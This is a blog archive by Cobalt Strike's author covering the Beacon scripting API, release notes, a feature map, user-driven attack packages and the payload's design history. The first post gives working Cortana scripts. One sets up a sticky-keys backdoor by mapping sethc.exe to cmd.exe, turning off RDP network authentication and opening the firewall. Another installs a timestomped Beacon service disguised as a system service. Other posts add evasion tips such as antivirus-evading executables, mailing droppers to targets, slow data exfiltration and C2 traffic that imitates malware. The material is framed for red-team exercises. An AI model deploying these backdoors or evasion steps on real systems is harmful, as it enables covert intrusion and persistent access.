Archive for the ‘Cobalt Strike’ Category


Scripting Beacons and Deploying Persistence

March 5, 2015

One common Cobalt Strike feature request is an API to script the Beacon payload. Doing this right is a big project and it requires some architectural changes within Cobalt Strike. I’m working on it. I have a major development effort underway to reshape Beacon’s role in Cobalt Strike. Scripting is one piece of this.

Right now, some automation is possible. Last year, I put together an “emergency API” to deploy persistence through Beacon. My normal methods were causing Meterpreter to crash and I needed another option. This API isn’t supported and it isn’t permanent. It’s a stop-gap. In the mean time, it may help you.


The bootleg Beacon scripting API adds a few functions to Cortana. [Cortana is Armitage and Cobalt Strike’s scripting engine. You can read more on it here.]

@data = beacons();

This function returns an array of information. Each entry in the array is a dictionary with all information Cobalt Strike knows about the beacon.

bcd([beacon ID], “directory”);

This function will change Beacon’s current working directory. This has the same effect as the cd command in Beacon.

%foo = bdata([beacon ID]);

This function returns a dictionary with information about the specific Beacon ID.

$foo = binfo([beacon ID], “key”);

This function queries the Beacon information and returns a key from it. For example, the Beacon information dictionary contains the user key. This is the username associated with the Beacon. Beacon adds a * to this name if the Beacon is running in a high-integrity (administrator) context. You can check for this * to see if you’re an admin or not.

bnote([beacon ID], “text”);

This function assigns a note to a Beacon. These notes are viewable under View -> Beacons.

bsleep([beacon ID], milliseconds, jitter factor);

This function changes the sleep time of a Beacon. Specify the sleep time in milliseconds. The jitter factor is a value, 0-99, that represents how much Beacon should randomly adjust its sleep time each beacon cycle.

bshell([beacon ID], “command”);

This function will ask Beacon to execute a command with the Windows command shell. This has the same effect as the shell command in Beacon. Beware that Cobalt Strike limits the run-time of these commands to 15-30s. This command is not suitable for long running tasks.

btimestomp([beacon ID], “dest file”, “source file”);

This function asks Beacon to apply the modified, last accessed, and created times of the source file to the destination file. This is a good way to make your changes blend in if you need to.

bupload([beacon id], “/path/to/local file”);

This function asks Beacon to upload a file. Please note, the path you provide is on your local system [the Cobalt Strike client]. You do not need to upload the file to the team server to use it with this function. If you want to reference a file in the same directory as your script, use the script_resource function. This function accepts a file name as an argument and returns the path to that file as if it were co-located with your script.

In all the above functions, [beacon id] is a string that represents a unique identifier for the current Beacon session. You need to know the identifier of a Beacon to issue these commands against it. One way to get this is to define a popup menu at the beacon_top hook.

popup beacon_top {
   item "My ID" {
      show_message("You have highlighted: $1");

The above menu will add a My ID menu to the top of the beacon right-click menu. All items and sub-menus defined within this hook have the variable $1. This argument is an array that contains all Beacons associated with the current popup. If you right-click inside of a Beacon window, this array will contain one item—the ID of the current Beacon. If you highlight 100+ Beacons in the View -> Beacons dialog—this array will contain the IDs of all those Beacons. This little Beacon API makes it trivial to mass task all of your Beacons. There’s also a beacon_bottom popup hook too.

Sticky Keys

Here’s how I do sticky keys persistence with the above Beacon scripting API:

popup beacon_top {
   item "Sticky Keys" {
      foreach $bid ($1) {

sub stickykeys {
   bshell($1, 'REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f');
   bshell($1, 'REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "c:\windows\system32\cmd.exe"');
   bshell($1, 'REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d "0" /f');
   bshell($1, 'netsh firewall set service type = remotedesktop mode = enable');
   bshell($1, 'netsh advfirewall firewall set rule group="remote desktop" new enable=Yes');
   bshell($1, 'net start TermService');

Deploy Beacon on Reboot with a Service

To survive reboots, I like to create services to run Beacon. To use this script—you will need to export a fully staged Beacon as a Windows Service Executable. Go to Attacks -> Packages -> Windows Executable (S). The Service Executable is an executable that responds to Windows Service Control Manager commands. If you try to use a normal executable, Windows will kill it shortly after it runs.

Fully-staged binaries contain everything Beacon needs to run. If Beacon can’t reach you initially—it’s OK, it’ll try to beacon again. The only downside to services is they run as SYSTEM. HTTP/HTTPS Beacons will not get through an authenticated proxy when run this way. For this reason, I use fully-staged DNS Beacons when I install a persistent service.

sub persist {
   bcd($1, 'c:\windows\system32');

   # create a netsrv.exe file and co-locate it with this script.
   # remember netsrv.exe MUST be a service EXE.
   bupload($1, script_resource("netsrv.exe"));
   btimestomp($1, "netsrv.exe", "cmd.exe");
   bshell($1, 'sc delete netsrv');
   bshell($1, 'sc create netsrv binPath= "C:\windows\system32\netsrv.exe" start= auto DisplayName= "System Network Service"');
   bshell($1, 'sc start netsrv');

popup beacon_top {
   item "Create Service" {
      foreach $bid ($1) {

React to a New Beacon

The above examples show how to use Beacon to set up a configuration backdoor and deploy a service. They’re pretty representative of what this small API does. I get a lot of questions from folks about how to write a script that responds to a new Beacon. Cortana does not expose an API to do this. That said, you can build this API with what I provide. This script registers a ten second timer handler that calls the beacons() function. This script extracts all Beacon IDs from this list of Beacons and looks for which IDs are new. It then fires a beacon_initial event for each new Beacon. Other scripts may use this event to react to new Beacons.


on heartbeat_10s {
   local('@beacons $beacon $bid %data @new @all');

   # grab all beacon ids AND build a map between ids and data
   @beacons = beacons();
   foreach $beacon (@beacons) {
      $bid = $beacon['id'];
      %data[$bid] = $beacon;
      push(@all, $bid);

   # remove old beacons from current list... I use copy(@all)
   # because removeAll is destructive to its first argument
   @new = removeAll(copy(@all), @old);

   # with old beacons removed; we have our new beacons...
   foreach $bid (@new) {
      fire_event("beacon_initial", $bid, %data[$bid]);

   # make our list of all beacons into our old list now
   @old = @all;

And here’s an example of this beacon_initial event:

on beacon_initial {
   local('$key $value');
   println("I have a beacon: $1 from " . $2['internal']);
   foreach $key => $value ($2) {
      println("\t $+ $[10]key = $value");

You may be asking—why write about an undocumented API and why write about it now? March and April is the time of the year when the Collegiate Cyber Defense Competition is in full swing. Armitage was inspired by the need for red team collaboration at these events. Through a sponsorship agreement between Strategic Cyber LLC and National CCDC, Cobalt Strike is available to the regional and National CCDC red team members. Automated persistence is a key problem for the red teams at these events. If you’re on a CCDC red team, these scripts should help you put together something unique for your region.


Cobalt Strike 2.3 – I’ve always wanted runas

January 22, 2015

Cobalt Strike 2.3 is now available. This release adds a runas command to Beacon. This command allows you to specify a username and password for any user and run a command as them. Useful for situations where you know credentials for an admin and want to use them to elevate. Care to know the alternative? Shell Escalation using VBS (pg. 31, Red Team Field Manual) is what I used to do.

This release also adds a Cobalt Strike version of the PowerShell Web Delivery tool. This tool hosts a PowerShell script on Cobalt Strike’s web server that injects a Cobalt Strike listener into memory. This feature also generates a PowerShell one-liner that you may run on a target to get a session.

Finally, this release addresses an incompatibility that affected DNS Beacon users. Updates to the Metasploit Framework affected Cobalt Strike’s process to encode a stage to deliver over DNS. Cobalt Strike now includes its own encoder to build the DNS Beacon stage.

For a full list of changes, please consult the release notes. Licensed users may get the latest with the built-in update program. A 21-day trial of Cobalt Strike is available too.


Cobalt Strike 2.2 – 1995 called, it wants its covert channel back…

November 20, 2014

Cobalt Strike’s Covert VPN feature now supports ICMP as one of its channels. Covert VPN is Cobalt Strike’s layer-2 pivoting capability. If you’re curious about how this technology works, I released some source code a few weeks ago.

The ICMP data channel is a turn-key way to demonstrate ICMP as an exfiltration channel if you need to prove a point. Here’s a video demonstrating Covert VPN’s ICMP channel with a server in Amazon’s EC2:

I don’t expect you to VPN all the things, but I’m excited. This feature is a step towards other work with ICMP in the future.

The ICMP VPN channel is available in today’s 2.2 release of Cobalt Strike. This release also touches and improves many of Cobalt Strike’s other features. The VNC server injection process was rewritten to better evade host-based firewalls. The spear phishing tool now handles message templates with embedded image attachments. You also get several bug fixes too. I recommend that you read the release notes for the full list of changes.

Licensed users may get the latest with the built-in update program. A 21-day trial of Cobalt Strike is available too.


Map of Cobalt Strike Features for Armitage Users

October 22, 2014

I wrote Cobalt Strike and I take it for granted that my users know where things are. This doesn’t come from nowhere though. The users who get the most from this tool have read the documentation, watched my videos, or had a lot of trial and error.

If you’re new to Cobalt Strike, consider this blog post my “Get Started with the Cool Stuff” cheat sheet.

Let’s start with the Cobalt Strike menubar:


Under the Cobalt Strike menu are options to control and configure your Cobalt Strike instance. Use New Connection to connect to another team server. Go to Interfaces to work with your Covert VPN interfaces. The Listeners item is where you setup payload handlers. This is also where you configure Beacon. Go to Close to disconnect from the current team server.


The View menu is where you reach Cobalt Strike’s data. The Applications item takes you to the results from the System Profiler. Go to Beacons to manage your Beacon sessions. I like to use Ctrl+B to dock the Beacon tab to the bottom of my Cobalt Strike instance. The Web Log item shows the activity on Cobalt Strike’s Web Server. Go to Reporting to generate a report, jump to log files, or export data.


I keep Cobalt Strike’s custom attacks under the Attacks menu. Visit Packages to generate an executable or a document tied to a listener. Use Web Drive-by to host a file on Cobalt Strike’s web server or start a web drive-by attack. This is where the applet attacks live. Go to Spear Phish to kick off a spear phishing campaign.


Under Help, I have one item of special interest to licensed Cobalt Strike users. This is the Arsenal option. This menu takes you to a site where you may download source code to Cobalt Strike’s Applet Kit and Artifact Kit. The Artifact Kit is Cobalt Strike’s solution to swap anti-virus evasion techniques. I make this source code available to licensed users to allow changes for evasion purposes.


Cobalt Strike’s workflow for lateral movement [psexec and friends] goes beyond Armitage. You get a few new options such as wmi (token) and psexec (token). All psexec dialogs are setup to work with Cobalt Strike listeners as well. Cobalt Strike also gives you a workflow to manage SSH keys too. Finally, the psexec menus that require executables use Cobalt Strike’s Artifact Kit to generate executables.

Several of Cobalt Strike’s post-exploitation capabilities work with Meterpreter. Let’s take a look at these:


Try Access -> Bypass UAC to elevate from a medium integrity context to a high integrity context. This menu uses the Metasploit Framework’s bypassuac_inject module with an Artifact Kit DLL.


Go to Interact -> Desktop (VNC) to get to your target’s desktop via VNC. This option will use a Meterpreter script to stage a VNC server in memory on the target. Once the server is up, Cobalt Strike will connect to it with a built-in VNC client. I had to license the VNC client and I consider it money very well spent.


Explore -> Browser Pivot is the place to start Cobalt Strike’s man-in-the-browser session stealing technology for Internet Explorer. This feature allows you to browse to websites authenticated as your target user. It’s a really interesting pen tester take on a classic crimeware activity.


Jump to Pivoting -> Deploy VPN to run Covert VPN on your target’s system. This will create a layer-2 VPN into your target’s network. How this VPN communicates frames is up to you. It can tunnel through Meterpreter or connect to you over HTTP, UDP, or a TCP connection.

Finally, Pivoting -> Listener… creates a pivot listener. This is a little user-interface magic on top of a hidden Metasploit Framework feature. A pivot listener allows you to setup a reverse connection that tunnels through a Meterpreter session. You may use these listeners anywhere a normal listener would work.

And, that’s about it. This post is a good map to find Cobalt Strike’s feature set. You’ll notice this is not a lot of new interface elements. There’s a reason for this. I hate bloated user interfaces. Most of Cobalt Strike’s feature set is in its Beacon payload. Beacon gives Cobalt Strike its new communication channels [DNS, SMB], its indicator flexibility [Malleable C2], and new post-exploitation tools. Beacon has PowerShell integration and its bypass UAC attack works on Windows 8.1. If you want to get the most out of Cobalt Strike as a toolset, study Beacon. This payload will change the way you work.


User-driven Attacks

October 1, 2014

A user-driven attack is an attack that relies on a feature to get code execution. Most penetration testers I know rely on user-driven attacks over public memory corruption exploits. User-driven attacks are less likely to see a patch and they usually target an application in a way that works across many versions. What’s not to like?

Cobalt Strike offers several user-driven attacks. In this post, I’ll give you a quick tour of what’s available. These are my options to help you get a foothold.

Document Dropper

This attack combines a payload stager and a document into an executable. When run, this executable drops the document to disk, opens it, and silently loads your payload. This attack is low on the sophistication scale, but it’s very common in targeted attacks. To help with evasion, the final executable is made by Cobalt Strike’s Artifact Kit.

Go to Attacks -> Packages -> Windows Dropper to create this package.

Tip: Use a resource editor to change the icon of the executable, burn it to a disk, and mail it to your target. Used this way, the document dropper is an effective attack.

Firefox Add-on

This attack stands up a website that asks the user to install a Firefox add-on. If the user installs the add-on, you get code execution. Cobalt Strike relies on the Metasploit Framework’s implementation of this attack.

Go to Attacks -> Web Drive-by -> Firefox Add-on Attack to start this attack.

HTML Application

An HTML Application is a Windows program made up of HTML and VBScript/JavaScript. This package makes an HTML Application that drops an executable to disk and runs it.

Go to Attacks -> Packages -> HTML Application to create this package.

Java Signed Applet

The Java Signed Applet attack is the ms08_067_netapi of user-driven attacks. It’s so common in demonstrations that you’d think it’s the only social engineering attack out there. This attack starts a web server that hosts a Signed Java Applet. You get code execution if the user allows the applet to run. Cobalt Strike’s Applet Kit uses JNI to inject your payload into memory.

Go to Attacks -> Web Drive-by -> Signed Applet Attack to start this attack.

Tip: By default, Java 1.7u51 and later do not allow applets with self-signed certificates to run. To get the most from this attack, buy a code signing certificate. Go to Help -> Arsenal in Cobalt Strike to download the source code to the Applet Kit. Sign the applet and load the included Cortana script to make Cobalt Strike use your applet.

Microsoft Office Macro

This is my favorite attack in this bunch. This package generates a VBA macro. Embed this macro into a Word document or Excel spreadsheet and send it to your target. The user has to click Enable Content to run your macro. If they do, look out! This attack will spawn a new process and inject your shellcode into it.

Go to Attacks -> Packages -> MS Office Macro to create this package.

Why Cobalt Strike?

In this post, I took you through Cobalt Strike’s user-driven attack options. These are staple attacks that integrate well with Cobalt Strike’s existing features. What are the benefits of using Cobalt Strike to execute these attacks?

Each of these attacks can deliver Cobalt Strike’s Beacon payload. Beacon is a “low and slow” post-exploitation payload that allows you to use custom indicators. Special care went into the shellcode that stages Beacon too. The HTTP stager takes steps to get out through restrictive web proxies. You may also stage Beacon over DNS as well. A well executed attack is no good if you can’t get out of your target’s network.

Cobalt Strike provides a path for evasion. The attacks that rely on executables use Cobalt Strike’s Artifact Kit. This is a source code framework to make executables that smuggle shellcode past anti-virus products. Source code for the Applet Attack is available if you need to change it as well.

The attacks that inject shellcode into memory intelligently account for 64-bit and 32-bit applications. You won’t lose a shell because the user ran your macro in 64-bit Microsoft Word. The attacks that inject shellcode also migrate your payload right away. This protects you if the user closes the application.

A lot of thought goes into each feature in Cobalt Strike. The user-driven attacks are no exception to this.


Cobalt Strike 2.1 – I have the POWER(shell)

September 23, 2014

For a long time, I’ve wanted the ability to use PowerUp, Veil PowerView, and PowerSploit with Cobalt Strike. These are useful post-exploitation capabilities written in PowerShell.

You’d think that it’s easy to run a script during the post-exploitation phase, especially when this script is written in the native scripting environment for Windows. It’s harder than you’d expect. Existing options require one-liners that Invoke-Module a local file or grab a script from a third-party web server. This hurdle prevents non-PowerShell developers from seeing what’s possible.

During this last development cycle, I decided to work on this problem. Beacon now runs your PowerShell post-exploitation scripts. This feature does not touch disk and it does not connect to an external host or site.


Here’s how to use it:

The powershell-import command loads a PowerShell script into Beacon. This script stays in memory for the duration of the Beacon session.

Use the powershell command to invoke expressions and cmdlets that reference the contents of the imported script. You may also tab complete cmdlets from the imported script with the powershell command too.

This video demonstrates privilege escalation with PowerUp and Invoke-Mimikatz with PowerSploit. All of this happens without leaving Beacon:

A lot of care went into designing this feature for its post-exploitation use case. Expressions run, in the background, for as long as necessary. Each time Beacon checks in, it will grab output from each PowerShell script that’s still running.

For the non-PowerShell developers reading this, welcome to a new world of post-exploitation. You’ll feel like a giddy kid in a candy store as you browse through Github and see the easy-to-use features available to you now.

PowerShell developers, there’s something here for you too. You no longer need to design post-exploitation capabilities that bundle their own communication and delivery methods. You can just load your favorite tools and use Beacon to drive them.

Covert VPN Revamp

While PowerShell integration is the headline feature, Cobalt Strike 2.1 has a lot of other goodies. The Covert VPN feature had a good deal of maintenance. The VPN client is now a Reflective DLL which makes deployment much smoother. Covert VPN also gained a TCP (Bind) data channel to tunnel frames through meterpreter.

HTML Application Attack

Cobalt Strike 2.1 also gains the HTML Application User-driven attack. I don’t think this is going to change anyone’s life, but you can never have too many options to get a foothold in a target network. This package generates an HTML Application that drops and runs an executable. I opted to tie this attack to an executable as this gives you flexibility to drop a silent executable, a document dropper executable, or something else.

Malleable SSL

This release also builds on the Malleable C2 feature added in Cobalt Strike 2.0. You may now specify values for the self-signed SSL certificate Beacon’s web server uses. This is an opportunity to introduce indicators that mimic SSL-enabled remote access tools.

There’s a lot more in this release. You’ll want to consult the Release Notes for the full picture. As usual, a 21-day trial is available at the Cobalt Strike sites. Licensed users may use the built-in update program to get the latest.


Evolution of a Modern Hacking Payload

August 26, 2014

One of the most important features in Cobalt Strike is its Beacon payload. This is my capability to model advanced attackers. In this post, I’d like to share my insights and reasons for the design decisions I made. If you’re a Cobalt Strike user, this post will help you reason about Beacon and fit it into your tradecraft.

From Raven to Beacon

I built Raven, an asynchronous persistent agent, for the 2012 Collegiate Cyber Defense Competition. I wanted a quiet way to hold access to compromised hosts.

Raven would connect to a web server every six minutes, request a file, and spawn a thread to execute the contents of the requested file. To task Raven, I would manually generate shellcode for a desired payload and save it to the file Raven would check for.

Later, I extended Raven to execute commands, change its sleep time, and inject arbitrary shellcode. I compiled Raven into a reflective DLL and built a user interface to generate tasks and host them on Cobalt Strike’s built-in web server. I also gave Raven a new name: Beacon.

Hybrid HTTP/DNS Communication

If you’re not familiar with Reflective DLLs, they’re significant. By compiling Beacon into a reflective DLL, I made it possible to inject the payload into memory and deliver it with a Metasploit Framework exploit.

Just before I pushed Beacon, I decided to build a variant that would use DNS. In one inspired night, I wrote Cobalt Strike’s initial DNS server. I then built the Beacon variant that would issue A record requests to check for tasks before it made a connection. I saw my DNS Beacon as an opportunity to very quietly hold access to a compromised host.

Distributed Operations

Beacon became my primary agent for persistent access to compromised systems. I noticed that I would dedicate my Cobalt Strike instance to it. When I wanted to interact with Meterpreter, I would do so from another Cobalt Strike instance. I built Cobalt Strike’s model for distributed operations to get ahead of this problem.

It’s a simple idea. Team servers have no awareness of each other. The Cobalt Strike client connects to multiple team servers and presents listeners from all of its team servers in its dialogs. This makes it trivial to task Beacon to send a session to another team server.


Cobalt Strike’s distributed operations model has shown itself as an ideal tool to organize a large red team during an exercise. The best practice is to create small cells that target each network and give each cell their own team servers. Each cell should have team servers for post-exploitation and staging. Post-exploitation servers are for noisy/interactive activity on hosts. Staging servers are where a cell holds their “low and slow” asynchronous accesses.

All cells are supported by an access management team. This team monitors health and access into target networks and works to keep these accesses alive. When a cell loses their access, an access manager connects to the cell’s staging server and passes a Beacon to it. I’ve seen Cobalt Strike provide coordination for large red teams in several exercise contexts. I realize this is a niche use case, but the fact it’s possible is quite impressive to me.

Post Exploitation

Originally, I saw Beacon as a complement to Meterpreter. I would hold access to systems with it and use Meterpreter for the heavy lifting. This model broke down on me. I saw several situations where a red operator had a Beacon on a host but they could not get or keep a Meterpreter session.

This drove a shift. I knew I would need to build a minimal set of post-exploitation tools into Beacon. It was not my intent to replace Meterpreter. I just wanted a way to work if I could not safely use an interactive agent like Meterpreter.

I decided to take advantage of Beacon’s asynchronous nature and build post-exploitation features that would benefit from it. For example, Beacon’s file download feature sends one file chunk with each check-in. Using the sleep time as a throttle, it’s possible to drip a large file out of a network without attracting attention.

DNS Command and Control

Several times, I had a Beacon on a system. I would see the A record request come in and Beacon’s check-in time would roll over. I couldn’t get Beacon to download its tasks though. I call this the child in the well situation. My compromised system would let me know it was there, but due to new egress restrictions or blocks, the Beacon couldn’t reach me.

I’ve always had interest in DNS for communication, but I did not know the best way to go about it. Initially, I thought I would build a pure DNS Beacon variant and it would always communicate over DNS. The child in the well scenario justified my interest in DNS for communication and it gave me an idea about how to do it best.

I updated the DNS Beacon to support multiple data channels. The A record response during the beacon step signals which data channel Beacon should use to download its tasks. By default, DNS Beacon uses HTTP as a data channel. When I run into a child in the well scenario, I tell Beacon to use DNS A or DNS TXT records to download its tasks.


For the sake of completeness, I built a stager to download Beacon over DNS and inject it into memory. I started with the dns_txt_query_exec module by corelancod3r to do this.

After this work, I could pair Beacon’s DNS stager with a user-driven attack and use a DNS data channel to control a compromised host–without direct communication.

I use the DNS Beacon for persistence and sometimes to evade tough egress restrictions. With a high sleep time and multiple beacon domains, DNS Beacon is hard to stop.

Communication Layer

With the DNS data channel built into Beacon, I had to revisit my post-exploitation feature set. I wanted to know that I could work even if Beacon is the only payload that can get out of a network. I decided that pivoting was the missing feature. If I could pivot through Beacon, I could do most things I would want to do on a network.

To support pivoting, I built a SOCKS proxy server into Beacon. This generic interface would allow the Metasploit Framework and third-party tools to tunnel through a Beacon. This led to a lot of wins.


I had a chance to use SOCKS pivoting in one engagement and I quickly saw a gap. There were many situations where I would want, but could not get, Meterpreter onto the pivot host. My work-around was to drop the host-based firewall and tunnel psexec with a bind payload through Beacon. This inspired Beacon’s meterpreter command.

With one command Beacon will setup a one-time use SOCKS proxy server and tunnel a Meterpreter session through it. I took care to build a bind stager that binds to localhost, to avoid interference from a host-based firewall. This feature is a big deal. It transforms Beacon into an alternate communication layer for Meterpreter and the Metasploit Framework. As Beacon gains new data channels and communication innovations, Meterpreter and the Metasploit Framework benefit from it.

Named Pipes

Beacon’s SOCKS proxy and post-exploitation tools made it suitable for most tasks. I ran into two problems. First, I found myself putting Beacon on almost all compromised systems. This is really stupid. If I make all compromised systems Beacon out to the same infrastructure with the same indicators, I’m easy to catch. Second, I had no way to put Beacon onto systems that could not reach my command and control infrastructure. I needed a solution to these problems.

I opted to abuse named pipes, an inter-process communication mechanism, for a communication channel. Fun fact: you may use named pipes for inter-process communication between hosts. This traffic is encapsulated within the SMB protocol. This channel blends in well with normal traffic.


I implemented this data channel and quickly ran into the killjoy that negates most covert communication options: I didn’t have a way to stage a Beacon over a named pipe. I created a payload listener that could stage over a reverse tcp connection. I also added a pseudo-listener to my psexec dialogs to stage SMB Beacon over a bind connection. Both solutions are awkward. A host-based firewall on the target disrupts the bind stager. Egress filters tend to negate reverse TCP payloads too. I added pivot listeners to Cobalt Strike to ease this, but a host-based firewall on the pivot host can create problems too.

Privilege Escalation and Lateral Movement

I found a solution to my woes with staged SMB Beacons. Why not deliver SMB Beacon without a stager? This makes a lot of sense for the phase of the engagement where you’re most likely to use an SMB Beacon: lateral movement.

I added an option to generate executables, DLLs, and other artifacts that contain Beacon in one file. This negated the need for an SMB stager.

I then added token stealing and privilege escalation to Beacon. I focused on the standard stuff: getsystem and bypassuac. The UAC Bypass Attack was a lot of fun to dig into. I even made Beacon’s version of this attack work against Windows 8.1.

Privilege escalation, token stealing, and SMB Beacon gave me the raw materials for covert lateral movement with Beacon. It’s simple, really. Steal a token to gain the network rights of a user. Generate an SMB Beacon artifact. Use the rights of an admin user to copy the SMB Beacon artifact to a target and run it. Link to the SMB Beacon from another Beacon to assume control of it. Better, you can do these steps from a Beacon with a high sleep time. This is how I do lateral movement now. I don’t use Metasploit’s psexec modules unless I’m in a hurry.

Malleable C2 Profiles

There’s one problem left. I use Beacon for all phases of post-exploitation. I use it as a communication layer, as a temporary placeholder, and as a persistent agent. It’s dangerous to use common indicators for each of these phases. Getting caught once could lead to the discovery of other attack infrastructure and compromised systems.

This led to several questions: Could I decouple Beacon’s network indicators from its built-in functionality? Could I provide a non-developer full control over these indicators? This thought process led to Malleable C2.

Cobalt Strike ingests Malleable C2 profiles. A C2 profile specifies what Beacon’s communication should look like. From a profile I derive how to send and receive data. If you want to evade detection, you can craft a profile that looks like something that blends in.


Malleable C2 solves the indicators problem. Now, each set of attack infrastructure gets its own profile. The Beacons for post-exploitation, staging, persistence, and other purposes do not need to look the same. Each team server can host Beacons with different profiles.

Malleable C2 also allows Beacon to look like other malware. It takes less than five minutes to write a profile. This allows for threat replication during an assessment. Use your adversary’s indicators to test your customer’s ability to analyze and attribute the attack. It’s an interesting idea.


The concepts in this blog post represent two and a half years of development and lessons learned on my part. I hope you enjoyed reading about Beacon’s journey from asynchronous placeholder for Meterpreter, to alternate communication layer, to a flexible capability to replicate advanced threats.


Get every new post delivered to your Inbox.

Join 15,033 other followers